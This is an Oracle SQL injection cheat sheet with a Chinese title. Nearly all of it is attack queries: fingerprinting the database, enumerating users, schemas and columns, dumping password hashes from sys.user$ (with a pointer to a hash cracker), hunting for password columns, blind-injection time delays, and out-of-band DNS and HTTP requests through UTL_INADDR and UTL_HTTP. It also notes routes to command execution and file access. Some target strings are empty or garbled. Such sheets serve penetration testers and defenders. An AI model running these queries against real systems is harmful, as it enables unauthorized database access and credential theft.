Oracle SQL 注入攻击查询表

Version SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;
Comments SELECT 1 FROM dual — comment
– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
Current User SELECT user FROM dual
List Users SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv
List Password Hashes SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ — priv, 11g
 Password Cracker checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges SELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
Current Database SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
List Databases SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
– Also query TNS listener for other databases.  See tnscmd (services | status).
List Columns SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
List Tables SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth Char SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
Bitwise AND SELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0
ASCII Value -> Char SELECT chr(65) FROM dual; — returns A
Char -> ASCII Value SELECT ascii(‘A’) FROM dual; — returns 65
Casting SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;
String Concatenation SELECT ‘A’ || ‘B’ FROM dual; — returns AB
If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Avoiding Quotes SELECT chr(65) || chr(66) FROM dual; — returns AB
Time Delay BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(’′) FROM dual; — if reverse looks are slow
SELECT UTL_INADDR.get_host_address(‘’) FROM dual; — if forward lookups are slow
SELECT UTL_HTTP.REQUEST(‘’) FROM dual; — if outbound TCP is filtered / slow
– Also see Heavy Queries to create a time delay
Make DNS Requests SELECT UTL_INADDR.get_host_address(‘’) FROM dual;
Command Execution Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File Access UTL_FILE can sometimes be used.  Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).
Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
SELECT UTL_INADDR.get_host_name(’′) FROM dual; — gets hostnames
Location of DB files SELECT name FROM V$DATAFILE;
Default/System Databases SYSTEM
